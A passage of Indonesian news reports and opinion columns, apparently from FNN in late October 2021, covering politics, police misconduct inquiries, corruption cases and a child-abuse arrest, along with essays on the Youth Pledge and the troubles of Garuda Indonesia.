Aliansi BerSinar membuka Sekretariat Nasional (Seknas) yang beralamat di Jalan Raya Mayor Oking Jayaatmadja Nomor 99A, Ciriung, Cibinong, Kabupaten Bogor. Menurut dia, Seknas akan bergerak cepat dengan kerja-kerja politiknya dan anggota Seknas BerSinar akan diperluas hingga ke daerah-daerah. "Saat ini anggota Presidium Seknas BerSinar telah tersebar di sejumlah provinsi seluruh Indonesia, dari Sumatra hingga Papua," katanya. Lebih lanjut, Ade mengatakan bahwa Seknas BerSinar sengaja memilih Hari Sumpah Pemuda 28 Oktober sebagai momentum deklarasi karena merupakan titik awal perjuangan kemerdekaan Indonesia, dimulai dari kesadaran anak-anak muda untuk berjuang bersama menyingkirkan perbedaan. Menurut dia, Budiman Sudjatmiko dinilai mampu membawa Indonesia menghadapi era Revolusi 4.0 karena selama ini sosok tersebut dikenal sebagai politikus yang memiliki pemikiran revolusioner. "Dia bukan businessman. Yang dia inginkan adalah membangun ekosistem, bukan sebatas ide. Project Bukit Algoritma itu menjadi bukti betapa revolusionernya pemikiran Budiman Sudjatmiko. Tak banyak politikus memiliki ide jangka panjang dan elastis terhadap perubahan zaman," katanya. Karena Budiman Sudjatmiko merupakan tokoh yang konsisten terhadap pembangunan desa, kata dia, Seknas BerSinar mengusung tagline: Dari desa menata masa depan Indonesia. "Budiman adalah bidan yang melahirkan UU Desa. Selama ini juga dia aktif mentransformasi teknologi untuk pembangunan desa. Dia bukan bagian dari oligarki. Dia lahir di tengah-tengah rakyat miskin di desa," kata Ade. Anggota Presidium Seknas BerSinar lainnya, Suntoro menilai wajar jika berbagai kalangan mendorong Budiman Sudjatmiko—politikus PDI Perjuangan—itu layak untuk ikut diperbincangkan pada isu tentang pemimpin Indonesia pada masa depan. Menurut dia, Pilpres 2024 akan lebih menarik dan berisi apabila ada calon alternatif yang dimunculkan dan Budiman Sudjatmiko dinilai layak menjadi calon alternatif itu. "Menurut saya Indonesia beruntung memiliki sosok Budiman Sudjatmiko," kata Suntoro. (sws, ant)

Kapolres Luwu Utara Diperiksa Propam Terkait Penembakan

Makassar, FNN - Devisi Profesi dan Pengamanan (Propam) Kepolisian Daerah (Polda) Sulawesi Selatan telah melakukan pemeriksaan secara maraton terhadap enam orang personil Polri, termasuk Kapolres Luwu Utara AKBP Irwan Sunuddin, terkait penembakan buronan kasus penganiayaan berinisial IL. "Kapolresnya sudah diperiksa, tapi masih jabat kapolres. Semua sudah terperiksa dalam penanganan Propam sesuai terkait dugaan pelanggaran kode etik," ujar Kabid Humas Polda Sulsel, Kombes Pol E Zulpan disela kegiatan Collaborator Justice di Makassar, Kamis. Meski sejauh ini belum ada hasil pemeriksaan resmi Propam Polda Sulsel terhadap personil Polri yang diduga melakukan pelanggaran kode etik atas penembakan itu, Zulpan mengatakan tentunya bila terbukti akan dikenakan sanksi tegas. "Ada enam terperiksa, Kapolres, Kasat Reskrim dan anggota yang lain. Untuk Kasat dan anggota ditarik ke Polda, dimutasi dan pemeriksaan," paparnya kepada wartawan. Pemeriksaan yang melibatkan Kapolres Luwu Utara itu diduga merekayasa peristiwa saat penangkapan buronan pelaku penganiayaan yang berbuntut penembakan saat melaporkan kepada Kapolda Sulsel Irjen Pol Merdisyam. Sebagai pimpinan di wilayah kerja Kabupaten Luwu Utara, Kapolres juga dianggap tidak memeriksa dan mengawasi anggotanya saat eksekusi penangkapan pelaku disertai penembakan sebanyak lima kali. Padahal bersangkutan diketahui tidak melakukan perlawanan saat ditanggal hingga akhirnya mengalami kritis saat dibawa ke rumah sakit setempat. Kapolres juga dinilai lalai dengan tidak mencari kebenaran atas kejadian itu, baik memeriksa dokumen dan fakta yang sesungguhnya terjaditerjadi sesuai Standar Operasional Prosedur atau SOP. Sebelumnya, korban IL (30) dilarikan ke Rumah Sakit Umum Daerah Andi Djemma, Masamba, Kabupaten Luwu Utara, karena mengalami luka serius hingga kritis usai ditembak polisi sebanyak lima kali ketika penangkapan pada Sabtu, 9 Oktober 2021. Timah panas yang ditembakkan petugas itu bersarang di lutut, bagian bawah perut, dan dua luka di paha, hingga mendapat delapan jahitan di tubuhnya. Bersangkutan terlibat dua kasus tindak pidana yaitu penganiayaan pada November 2020 dan pembakaran pada Januari 2021. (mth)

Wakil Ketua MPR Dorong "Presidential Threshold" 2024 Ditinjau Ulang

Jakarta, FNN - Wakil Ketua MPR Syarief Hasan mendorong agar aturan presidential threshold atau batas pengajuan calon presiden untuk Pemilu Presiden 2024 ditinjau ulang. "Aturan ini jelas membatasi partisipasi politik dan hak setiap warga negara Indonesia," kata Syarief Hasan dikutip dari siaran pers di Jakarta, Kamis. Menurut dia, UUD 1945 tidak pernah mengatur batasan persentase tertentu untuk pengajuan calon presiden dan wakil presiden. Pasal 6A UUD 1945 pada pokoknya menegaskan bahwa pemilihan presiden dan wakil presiden dipilih secara langsung oleh rakyat dan diusulkan olah partai politik atau gabungan partai politik sebelum pemilu. Oleh karena itu, kata Syarief Hasan, berbagai batasan atau hambatan yang diatur dalam regulasi kepemiluan adalah ketentuan yang sejatinya tidak tepat menafsirkan maksud konstitusi. "Dengan kata lain, penghapusan presidential threshold justru meningkatkan kualitas demokrasi sesuai konstitusi," kata Syarief Hasan yang meraih penghargaan "The Rising Star of Democracy" oleh Majalah Teropong Senayan pada penyelenggaraan "Teropong Democracy Award" secara virtual, Rabu (27/10). Syarief Hasan mengatakan di banyak negara demokrasi, aturan pembatasan pengajuan presiden berupa persentase tertentu tidaklah dikenal. Aturan ini justru memberangus hak berdemokrasi bagi warga negara, selain mempersempit peluang rakyat memilih calon pemimpin yang terbaik. "Bisa dibilang pengajuan calon presiden dan wakil presiden tanpa adanya aturan presidential threshold adalah praktik dan tradisi demokrasi universal," tutur dia. Oleh karena itu, tambah Syarief Hasan, jika Presiden Jokowi menerbitkan peraturan pemerintah pengganti undang-undang (perppu) yang mencabut aturan presidential threshold maka Presiden Jokowi telah mengembalikan demokrasi pada hakikat sebenarnya, yakni kuasa rakyat menentukan calon pemimpinnya. "Jika Presiden Jokowi berani mengambil terobosan, dengan mengeluarkan perppu, misalnya, Presiden Jokowi akan dikenang sebagai presiden yang teguh dan konsisten membela nilai-nilai demokrasi, membuka keran politik untuk memberikan kesempatan seluas-luasnya bagi putra-putri terbaik bangsa menjadi pemimpin bangsa berikutnya," ujar Syarief. (sws, ant)

KPK Dalami Pembagian "Fee" untuk Tersangka Budhi Sarwono

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami pembagian persentase "fee" untuk tersangka Bupati Banjarnegara nonaktif Budhi Sarwono (BS). KPK, Rabu (27/10) memeriksa lima saksi untuk tersangka Budhi dalam penyidikan kasus dugaan korupsi turut serta dalam pemborongan, pengadaan atau persewaan pada Dinas PUPR Pemkab Banjarnegara, Jawa Tengah Tahun 2017-2018 dan penerimaan gratifikasi. "Didalami pengetahuannya antara lain terkait dengan dugaan hadir langsungnya tersangka BS maupun tersangka KA (Kedy Afandi/orang kepercayaan Budhi) dalam memberikan pengarahan untuk para pengusaha yang akan mengerjakan berbagai proyek di Pemkab Banjarnegara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Arahan itu, kata Ali, diduga terkait adanya pembagian persentase "fee" untuk tersangka Budhi. Lima saksi yang diperiksa, yaitu Wahyudiono selaku ajudan bupati, wiraswasta Susmono Dwi Santoso, Febriana Eriska Putri selaku Staf Keuangan PT Adi Wijaya, Prihono selaku Direktur CV Pilar Abadhi, dan Cion Pramundita selaku Sekretaris Kecamatan Kalibening, Banjarnegara. Pemeriksaan dilakukan di Gedung Ditreskrimsus Polda Jateng, Kota Semarang, Jawa Tengah. Dalam konstruksi perkara, KPK menyebut pada September 2017, Budhi memerintahkan Kedy memimpin rapat koordinasi (rakor) yang dihadiri oleh para perwakilan asosiasi jasa konstruksi di Kabupaten Banjarnegara. Dalam pertemuan tersebut, disampaikan sebagaimana perintah dan arahan Budhi, Kedy menyampaikan bahwa paket proyek pekerjaan akan dilonggarkan dengan menaikkan Harga Perkiraan Sendiri (HPS) senilai 20 persen dari nilai proyek dan untuk perusahaan-perusahaan yang ingin mendapatkan paket proyek dimaksud diwajibkan memberikan komitmen "fee" sebesar 10 persen dari nilai proyek. Pertemuan lanjutan kembali dilaksanakan di rumah pribadi Budhi yang dihadiri oleh beberapa perwakilan Asosiasi Gapensi Banjarnegara dan secara langsung Budhi menyampaikan diantaranya menaikkan HPS senilai 20 persen dari harga saat itu. Dengan pembagian lanjutannya adalah senilai 10 persen untuk Budhi sebagai komitmen "fee" dan 10 persen sebagai keuntungan rekanan. Selain itu, Budhi juga berperan aktif dengan ikut langsung dalam pelaksanaan pelelangan pekerjaan infrastruktur di antaranya membagi paket pekerjaan di Dinas PUPR Kabupaten Banjarnegara, mengikutsertakan perusahaan milik keluarganya, dan mengatur pemenang lelang. Kedy juga selalu dipantau serta diarahkan oleh Budhi saat melakukan pengaturan pembagian paket pekerjaan yang nantinya akan dikerjakan oleh perusahaan milik Budhi yang tergabung dalam grup Bumi Rejo. Penerimaan komitmen "fee" senilai 10 persen oleh Budhi dilakukan secara langsung maupun melalui perantaraan Kedy. KPK menduga Budhi telah menerima komitmen "fee" atas berbagai pekerjaan proyek infrastruktur di Kabupaten Banjarnegara sekitar Rp2,1 miliar. Atas perbuatannya, Budhi dan Kedy disangkakan melanggar Pasal 12 huruf i dan atau Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat 1 ke-1 KUHP. (sws, ant)

ELSAM: Penolakan Uji Materi Pasal 40 UU ITE Batasi Hak Atas Informasi

Jakarta, FNN - Direktur Eksekutif Lembaga Studi dan Advokasi Masyarakat (ELSAM) Wahyudi Djafar mengkhawatirkan penolakan permohonan pengujian materi Pasal 40 Undang-Undang Informasi dan Transaksi Elektronik (UU ITE) oleh Majelis Hakim Mahkamah Konstitusi dapat mengakibatkan pembatasan hak atas informasi. "Kekhawatirannya, putusan ini dapat menjadi pemicu semakin terancamnya kebebasan berekspresi dan hak memperoleh informasi di Indonesia," kata Wahyudi Djafar dalam keterangan yang diterima di Jakarta, Kamis. Wahyudi menyayangkan putusan tersebut, mengingat saat ini, Indonesia tercatat sebagai negara yang paling banyak mengajukan permintaan penghapusan konten dari hasil pencarian Google dan platform lainnya dari perusahaan tersebut. Laporan transparansi Google menyebutkan, sejak 2011, pemerintah Indonesia setidaknya telah mengajukan permintaan penghapusan konten sebanyak 257 ribu konten. Menurut Wahyudi, situasi tersebut mungkin terjadi karena pengaturan konten internet di Indonesia memerlukan kejelasan. "Tidak ada aturan jelas mengenai jenis konten yang dapat dibatasi aksesnya," tutur Wahyudi. Selain itu, prosedur mengenai tindakan pembatasan yang lawful menurut hukum HAM juga masih belum diatur dengan jelas, mengingat hak atas informasi dan kebebasan berekspresi merupakan bagian dari hak asasi manusia. Hal tersebut berimplikasi pada ketidaktepatan otoritas yang legitimit untuk melakukan tindakan pembatasan. Menurut Wahyudi, negara bukan merupakan satu-satunya aktor pengambil keputusan yang tersedia dalam melakukan pembatasan terhadap konten internet. Sebab, platform di mana konten tersebut dipublikasi memiliki peran yang lebih besar dalam mengatur lalu lintas informasi yang ada di internet, sesuai dengan karakteristik unik internet. Terakhir, adalah kurangnya kejelasan terkait mekanisme banding atas tindakan pembatasan, sebagai aplikasi dari prinsip judicial scrutiny. "Semestinya, Mahkamah Konstitusi dapat menggunakan pendekatan perbandingan untuk melihat pembelajaran dari negara lain. Memastikan adanya checks and balances dalam tindakan pembatasan terhadap konten internet untuk mencegah terjadinya praktik yang sewenang-wenang," tutur Wahyudi. ((sws, ant)

Ketua MPR Dukung Kapolri Bertindak Tegas dan Lakukan Asesmen Berkala

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mendukung Kapolri Jenderal Pol Listyo Sigit Prabowo agar bertindak tegas dan melakukan asesmen berkala terhadap seluruh jajarannya di pusat maupun daerah. "Semua itu bertujuan untuk mengetahui hasil kinerja apakah sudah sesuai atau masih di bawah standar," kata Bambang Soesatyo melalui keterangan tertulis yang diterima di Jakarta, Kamis. Hal itu disampaikan Bamsoet sapaan akrab Bambang Soesatyo menyusul beberapa kasus yang terjadi di internal Polri dan menjadi sorotan publik. Mulai dari dicopotnya Kapolsek Kutalimbaru, Sumatera Utara, dan Kapolsek di Kabupaten Parigi Moutong, Sulawesi Tengah, atas dugaan tindak asusila dan pemerasan terhadap keluarga tersangka kasus narkoba. Terhadap oknum kapolsek ataupun anggota polisi yang melakukan tindakan bertentangan dengan hukum, Bamsoet setuju untuk diambil tindakan tegas sesuai dengan hukum positif yang berlaku. Tindakan tegas dan asesmen harus dibarengi dengan penguatan sistem pengawasan internal di tubuh Korps Bhayangkara, paparnya. Menurutnya, menjalankan proses hukum pidana secara konsekuen penting demi lahirnya keadilan bagi para korban dan memberi efek jera terhadap pelaku, termasuk oknum polisi yang melanggar. "Kasus-kasus yang terjadi ini menunjukkan sistem pengawasan internal Kepolisian RI masih perlu diperkuat," kata dia. Harapannya, kata dia, dengan dilakukan asesmen berkala dan tindakan tegas bagi oknum aparat Polri yang terbukti bersalah, maka bisa kembali membangun kepercayaan masyarakat terhadap institusi kepolisian. Bamsoet meminta Polri untuk meningkatkan prosedur penyelidikan ataupun penyidikan dengan memanfaatkan kemajuan ilmu pengetahuan dan teknologi. Misalnya, lebih transparan dan bertanggung jawab guna mencegah adanya mafia kasus di dunia peradilan. Ia mendorong Polri untuk terus melakukan penguatan pengawasan internal guna mencegah setiap anggota polisi yang menyalahgunakan wewenang dalam menjalankan tugas penegakan hukum. "Hal itu mengingat tindakan dan motif yang dilakukan oknum polisi merupakan kejahatan struktural karena pelaku menggunakan wewenang dan jabatannya untuk melakukan tindak pidana," kata dia. (mth)

MAKI Nilai Bukan Hanya Polri, Kejaksaan Juga Harus Berbenah

Jakarta, FNN - Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman menilai bukan hanya Polri yang harus berbenah, namun kejaksaan juga harus guna meningkatkan integritas aparat penegak hukum di Tanah Air. "Jaksa juga bagian dari aparat penegak hukum sehingga juga harus berbenah," kata dia kepada wartawan di Jakarta, Kamis. Hal itu ia sampaikan terkait beragam keluhan masyarakat soal rendahnya integritas aparat penegak hukum yang belakangan menjadi sorotan publik. Upaya penindakan dan perbaikan sudah dilakukan oleh Polri, namun beberapa pihak melihat bukan hanya Korps Bhayangkara saja, namun oknum-oknum jaksa nakal juga harus ditindak Kejaksaan Agung sebagaimana yang dilakukan Polri terhadap anggotanya. Boyamin berharap sorotan publik terhadap aparat penegak hukum jadi momentum Jaksa Agung dan Jaksa Agung Muda Bidang Pengawasan (Jamwas) untuk membersihkan oknum-oknum jaksa nakal di daerah. Pada intinya, Boyamin sepakat penegak hukum perlu perbaikan secara besar-besaran karena upaya penegakan hukum berada di tangan mereka terutama soal penindakan korupsi. Oleh karena itu, Boyamin menilai perbaikan tersebut harus menyeluruh bukan hanya polisi saja, namun juga jaksa melalui Kejaksaan Agung ke Kejaksaan Tinggi (Kejati) hingga ke Kejaksaan Negeri (Kejari). Sementara itu, Direktur Indo Strategi Research and Consulting Arif Nurul Iman mengatakan persoalan penegak hukum terutama mengenai oknum jaksa nakal di daerah, saat ini banyak KPU di daerah sedang bermasalah dengan Kepala Kejaksaan Negeri (Kajari) setempat usai Pilkada serentak Desember 2020. Persoalannya adalah upaya Kajari setempat menggali adanya dugaan korupsi terkait penggunaan dana hibah untuk Pilkada serentak 2020. Upaya mencari dugaan korupsi itu satu hal yang bagus, namun apabila dilakukan dengan tidak tepat, justru bisa memunculkan pertanyaan. "Yang dikhawatirkan adanya insinuasi lain dari upaya pemberantasan korupsi tersebut," ucap dia. Menurut aturan yang ada, ketika Kejari di daerah memeriksa hingga menggeledah dan menyegel kantor KPU setempat untuk mendapatkan alat bukti, harus diaudit terlebih dahulu oleh Inspektorat KPU RI. Ia juga menyinggung soal tim penyidik antikorupsi Kejari Kabupaten Tanjung Jabung Timur yang menggeledah KPU daerah setempat terkait dugaan korupsi anggaran dana hibah Pilkada serentak 2020 sebesar Rp19 miliar. (sws, ant)

Pemuda Sebagai Energi Perubahan

Oleh: Yusuf Blegur Begitu banyak refleksi terhadap kejadian masa lalu yang bisa diambil sebagai pelajaran dan bekal membangun bangsa ke depan. Hamparan peristiwa tentang negara dari sejak cikal bakal, tumbuh dan menjadi. Betapa leluasa menceritakan kisah-kisah tentang masa-masa kegelapan, gerakan kesadaran, proses perjuangan dan pengorbanan yang penuh gejolak. Dalam rangkaian peristiwa panjang itu menyeruak catatan tentang kepemimpinan, kepahlawanan, juga pemberontakan dan pengkhianatan, sebagai bagian dari dinamika sejarah. Kelahiran Sumpah Pemuda pada tahun 1928. Menjadi salah satu momen penting dan strategis dari sejarah perjalanan bangsa Indonesia, terutama pada saat masa pergerakan kemerdekaan. Dalam masa kolonial, Sumpah Pemuda merupakan kesinambungan dari gerakan kesadaran kebangsaan sebelumnya. Seperti Budi Utomo pada 1908 dan pelbagai organisasi keagamaan dan kepemudaan lainnya yang masih bersifat sporadis dan parsial (kedaerahan dan menganut suku, ras dan agama). Konsensus Sumpah Pemuda yang lahir dari kongres Pemuda I dan Kongres Pemuda II itu. Menegaskan keinginan pemuda terhadap upaya integrasi nasional sekaligus gerakan pembebasan dari kolonialisme dan imperialisme lama . Setelah 93 tahun peristiwa Sumpah Pemuda berlalu. Apa dan bagaimana relevansinya dengan keadaan Indonesia sekarang?. Jika merasakan Indonesia seperti saat ini, maka peringatan hari Sumpah Pemuda dapat dimaknai sebagai sebuah reinkarnasi kesadaran kritis terhadap situasi kebangsaan. Suasana penjajahan yang dialami rakyat pada masa itu. Kemudian adanya kesadaran pemuda yang ingin bebas dari kebodohan dan kemiskinan. Mendambakan persatuan dan kesatuan. Serta menuju cita-cita kemerdekaan Indonesia yang dapat mewujudkan kehidupan adil makmur bagi seluruh rakyat Indonesia. Maka peringatan Sumpah Pemuda saat ini, dapat menjadi momentum sekaligus titik balik dari kesadaran kritis dan kesadaran makna gerakan kebangsaan rakyat Indonesia. Bahwa apa yang menjadi semangat dan tujuan dari hari Sumpah Pemuda. Mengalami siklus sejarah yang berulang. Kekinian menjadi semangat dan tujuan pemuda dan seluruh elemen bangsa untuk bangkit dari keterpurukan akibat kolonialisme dan imperialisme modern. Termasuk yang dilakukan oleh segelintir bangsanya sendiri. Bahkan, meskipun setelah rakyat Indonesia menghirup udara dan menikmati alam kemerdekan selama lebih dari 76 tahun. Pemuda, Pelopor Gerakan Perlawanan Bukan hanya pada masa kerajaan-kerajaan nusantara dan perjuangan pergerakan kemerdekaan. Indonesia setelah bebas dari belenggu penjajahan. Selalu menampilkan peran pemuda yang spartan, patriotik dan heroik. Prahara dan angkara murka segala bentuk penjajahan yang ada di persada Indonesia, selalu menemukan tembok besar perlawanan para pemuda. Pemuda seakan dihadirkan Tuhan sebagai wakilNya melawan kedzoliman dan ketidakadilan di muka bumi. Sebelum kemerdekaan, bangsa Indonesia punya para the founding fathers' dan tokoh-tokoh pergerakan yang notabene representasi para pemuda. Begitupun pasca kemerdekaan, saat negara diliputi pelbagai konflik dan suasana genting. Pemuda selalu terdepan mengambil peran inisiasi, kreasi dan solusi terhadap problematika negara dan bangsa. Manifestasi eksistensi pemuda akan mencari saluran perjuangannya dalam banyak cara. Baik secara konstitusional maupun ekstra parlementer. Melalui kanal demokrasi ataupun aksi demonstrasi. Dengan edukasi dan diskusi hingga akselerasinya sampai memicu reformasi atau revolusi. Perjalanan pemerintahan dari rezim ke rezim tidak bisa menghilangkan fenomena dan peran historis pemuda. Sejarah mencatat penculikan Soekarno-Hatta dari Jakarta ke Karawang, oleh pemuda saat tuntutan percepatan proklamasi kemerdekaan RI. Rakyat dan negara Indonesia dapat bercermin dari kiprah KAMI/KAPPI usai tragedi 1965 yang mendorong perubahan kepemimpinan orde lama ke orde baru. Juga Peristiwa Malari (15 Januari) 1974. Termasuk gerakan mahasiswa 1998 yang melahirkan era reformasi. Semua kontribusi pemuda dan mahasiswa itu merupakan bentuk kesadaran kritis sekaligus perlawanan terhadap kesewenang-wenangan dan penyimpangan kekuasaan. Ia tidak sekedar perjuangan menegakkan kebenaran dan keadilan. Ia sejatinya menjadi pengemban amanat penderitaan rakyat. Ketika demokrasi tak berfungsi dan kekuasaan menjadi tirani. Pemuda tampil menjadi pendobrak dan pelopor gerakan perubahan. Pemuda seakan tak bisa menghindari dari takdir dan panggilan sejarah. Sebuah generasi dan entitas politik dari produk siklus sejarah. Pemuda tak ubahnya seperti kekayaan alam yang berlimpah. Energi terbarukan dan dapat diperbaharui untuk kelangsungan kehidupan masa depan rakyat Indonesia. Pemuda yang menjadi tulang punggung negara. Energi potensial yang menggantikan fosil Panca Sila dan UUD 1945. Kita hanya tinggal menunggu waktu, kapan tepatnya siklus sejarah berulang?. Jika kedzoliman kekuasaan itu mendera, rakyat Indonesia pasti punya obat walau harus menelan pil pahit. Tentunya dengan resep pemuda dan mahasiswa untuk mengobati sakit kronisnya pemerintahan. Kalau ada aksi demonstrasi pemuda dan mahasiswa dalam spirit Sumpah Pemuda. Selamat bergabung bagi seluruh komponen bangsa. Mengikuti aksi yang menjadi imunisasi vaksin massal yang sesungguhnya. Demi kesehatan dan keselamatan rakyat, negara dan bangsa Indonesia. Mampukah Sumpah Pemuda masa lalu menjadi sumpah kebaikan bagi Indonesia kekinian?. Semoga. Penulis, Pegiat Sosial dan Aktufis Yayasan Human Luhur Berdikari.

Garuda Yang Malang

By M Rizal Fadillah *) BUKAN hanya sedih tetapi perih mendengar berita Maskapai Garuda sedang menjerit berguling guling menjelang ajal. Sampai segininya Pemerintahan Jokowi mengalami kegagalan. Maskapai penerbangan negara tidak bisa ditolong. Sense of crisis rendah dan nyaris punah. Dasar tukang dagang yang menganggap bahwa rugi itu biasa. Tak ada rasa nasionalisme yang terguncang padahal Garuda yang tidak terbang sama saja dengan "nyungsep"-nya Indonesia. Ada suara kegelisahan dari seorang ibu, istri pilot Garuda yang baru dipensiunkan, memiliki anak yang menjadi pilot Garuda dan satunya menjadi pramugari pesawat Garuda pula. Keluhan atas penggajian yang sudah byar pet, satu bulan on dan sebulan kemudian off. Siaran resmi Garuda menyatakan pendapatan pegawai dipotong 30 hingga 50 persen. "GA dikelola secara ugal-ugalan sejak awal, tidak masuk akal hutang hingga 70 Trilyun", keluhnya. Masalah utama Garuda adalah salah urus (mismanagement), kemandirian yang terganggu, serta menjadi perusahaan perahan dari banyak kepentingan. Sebagaimana BUMN lain, Garuda pun menjadi perusahaan yang tak luput dari budaya bagi-bagi kue politik. Komisaris dan Direksi yang terkendali dan profesionalisme yang terkendala. Pemerintah harus terbuka bagi pembenahan mendasar. DPR dituntut lantang dan cermat dalam pengawasan dan penyelamatan. Tidak terjebak oleh budaya bagi-bagi kue yang dapat menyebabkan anggota menjadi kelu untuk bersuara. Bungkam seribu bahasa. Dahulu Mantan Menko dan pakar ekonomi Rizal Ramli pernah menyelamatkan Garuda dari kebangkrutan dan kini terberitakan siap untuk membantu kembali dengan imbalan bukan jabatan atau uang tetapi perubahan politik dalam sistem pemilihan Presiden. Presidential Treshold 0 % yang patut untuk didalami dan didiskusikan dengan para pengambil keputusan politik di negeri yang terasa semakin awut-awutan ini. Situasi gawat Garuda dan tentu juga 11 maskapai yang telah tewas mendahuluinya haruslah menjadi perhatian utama. Bukan saja memilukan dan memalukan tetapi juga membahayakan kelangsungan perjalanan bangsa. Presiden mesti bertanggungjawab penuh. Bila pilot pesawat terpaksa harus "grounded" akibat kegawatan ini, maka demi solidaritas sang pilot Indonesia juga harus ikut "grounded". Garuda yang dahulu mantap menjadi pilihan spesial penumpang untuk malang melintang terbang ke berbagai belahan dunia maupun domestik, kini terancam kehilangan melintangnya dengan meninggalkan sisa malangnya. Garuda yang malang. *) Analis Politik dan Kebangsaan

Polres Rejang Lebong Tangkap Pelaku Pencabulan Balita

Rejang Lebong, FNN - Petugas Kepolisian Resor (Polres) Rejang Lebong, Polda Bengkulu menangkap seorang lelaki paruh baya yang diduga melakukan pencabulan terhadap anak berusia bawah lima tahun atau balita di dearah ini. Kasat Reskrim Polres Rejang Lebong AKP Sampson Sosa Hutapea diwakili KBO Reskrim Iptu Deny Fita Mochtar, di Mapolres Rejang Lebong, Rabu, mengatakan tersangka dalam kasus tersebut ialah TR (45), warga pendatang dari Jawa Barat yang bekerja sebagai tukang meubel di Desa Sumber Bening, Kecamatan Selupu Rejang, Kabupaten Rejang Lebong. "Tersangka saat ini masih dalam pemeriksaan petugas penyidik Unit PPA Polres Rejang Lebong, tersangka kami amankan pada hari Selasa tanggal 26 Oktober kemarin dalam kasus dugaan pencabulan terhadap seorang anak perempuan berumur 5 lima tahun," kata dia. Dia menjelaskan, kasus pencabulan anak balita ini dilakukan tersangka pada Jumat (22/10) sekitar pukul 10.00 WIB, di rumah yang menjadi lokasi pembuatan kursi meubel yang ada di Desa Sumber Bening, dan kemudian keesokan harinya dilaporkan orangtua korban ke Polres Rejang Lebong. Kejadian itu, kata dia, bermula saat terduga pelaku melihat ada 3 orang anak-anak termasuk korban yang tengah asyik bermain tidak jauh dari tempat pelaku bekerja. Kemudian terduga pelaku yang saat itu tengah beristirahat memanggil korban ke dalam ruangan kerja meubel. Setelah korban mendatangi pelaku kemudian mengajak korban untuk nonton film porno yang ada di handphone pelaku. Pelaku seterusnya mencabuli korban. "Setelah selesai korban lantas pulang ke rumah dan melaporkan kejadian itu kepada orangtuanya yang selanjutnya melapor kepada polisi," katanya pula. Atas perbuatannya itu, tersangka pelaku dijerat petugas penyidik Polres Rejang Lebong atas pelanggaran Pasal 76E juncto Pasal 82 ayat 1 UU No.35/2014 yang telah diubah ke UU No. 23/2002, tentang Perlindungan Anak dengan ancaman hukuman hingga 15 tahun penjara. (sws, ant)

Praktisi Hukum Nilai Penolakan Banding Jhoni Allen oleh PT DKI Sudah Tepat

Jakarta, FNN - Praktisi hukum Heru Widodo menyatakan penolakan banding Jhoni Allen Marbun oleh Pengadilan Tinggi (PT) DKI Jakarta merupakan tindakan hukum tepat. "Ditolaknya gugatan Jhoni Allen sebuah keputusan hukum yang tepat, menandakan bahwa keputusan yang diambil oleh Ketua Umum AHY juga tepat dan sudah sesuai dengan undang-undang dan aturan yang berlaku," kata Heru dalam keterangan tertulis, di Jakarta, Rabu. Keputusan Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono (AHY) memecat Jhoni Allen Marbun dikukuhkan oleh Pengadilan Tinggi DKI Jakarta dengan menolak gugatan banding yang diajukan Jhoni. Penolakan ini dinyatakan dalam Putusan PT Jakarta Nomor 547/PDT/2021/PT DKI yang diumumkan melalui Direktori Mahkamah Agung (18/10). Pengadilan Tinggi menghukum Jhoni Allen untuk membayar biaya perkara. Heru menegaskan penolakan gugatan Jhoni Allen telah terjadi dua kali. Sebelumnya, Pengadilan Negeri Jakarta Pusat pada bulan Mei 2021 lalu sudah menolak gugatan Jhoni Allen atas keputusan Ketum AHY memecat dirinya dari keanggotaan Partai Demokrat. Jhoni Allen dipecat dengan tidak hormat, karena turut mendalangi upaya pengambilalihan kepemimpinan Partai Demokrat melalui Kongres Luar Biasa (KLB) ilegal yang diselenggarakan di Deli Serdang awal Maret lalu. Heru menyatakan keputusan Pengadilan Tinggi DKI Jakarta ini menegaskan kembali bahwa Jhoni Allen Marbun memang melanggar hukum dan aturan yang berlaku, sehingga layak dipecat. Sementara itu, para ketua DPD dan DPC Partai Demokrat di seluruh Indonesia menegaskan kembali loyalitas dan kesetiaan kepada Ketum AHY. “Fatsun politik kami tegak lurus kepada Ketum AHY yang sah dan sesuai dengan hukum. Tidak ada dualisme di Partai Demokrat. Ketum hanya satu, AHY. Kalau ada yang ngaku-ngaku, kami lawan,” ujar Anwar Hafidz, Ketua DPD PD Sulawesi Tengah menegaskan. (sws, ant)

Kades dan Anaknya di Pandeglang Ditangkap Polisi

Pandeglang, FNN - Satreskrim Polres Pandeglang Polda Banten menangkap SJ (54) Kepala Desa Sodong dan anaknya YP (29) Kaur Keuangan atau Operator Desa Sodong Kabupaten Pandeglang karena diduga melaiukan tindak pidana korupsi dana desa (DD) tahun anggaran 2019. Kabid Humas Polda Banten AKBP Shinto Silitonga, Rabu mengatakan penangkapan SJ (54) Kepala Desa Sodong berawal pada tanggal 22 April 2020 diduga melakukan korupsi dana desa sebesar Rp418 juta lebih. Kemudian penyidik melakukan pemeriksaan terhadap 25 saksi termasuk saksi ahli yang mengaudit tentang spesifikasi bangunan, hasil pemeriksaan tersebut YP (29) Kaur Keuangan atau Operator Desa Sodong yang merupakan anaknya pada tanggal 21 Juli 2021 ditetapkan menjadi tersangka korupsi dana desa tersebut. "Dana sesuai proposal pengajuan Dana Desa (DD) TA. 2019 yang digunakan atau realisasi pengajuan dana desa hanya sebesar Rp354.413.135,57, untuk sisanya tidak digunakan sesuai proposal dan Rencana Kerja Pemerintah (RKP) Desa TA 2019 sebesar Rp. 418.134.664,43," Kabid Humas Polda Banten AKBP Shinto Silitonga didampingi Kapolres Pandeglang AKBP Belny Warlansyah dalam konferensi pers di Polres Pandeglang, Rabu. Shinto mengatakan, awalnya Desa Sodong Kecamatan Saketi menerima Dana Desa (DD) dari APBN Melalui APBD Pandeglang TA. 2019 sebesar Rp772.834.000,-. diperuntukan untuk pembangunan desa, selanjutnya YP (29) Kaur Keuangan atau Operator Desa Sodong melakukan pengajuan proposal pengajuan dana tersebut. Menurut Shinto, uang negara untuk pembangunan desa tersebut digunakan untuk kepentingan pribadi. "Uang dari hasil Korupsi sebesar Rp418.134.664,43, pelaku mengatakan digunakan untuk keperluan didesa yang bukan peruntukannya dan untuk 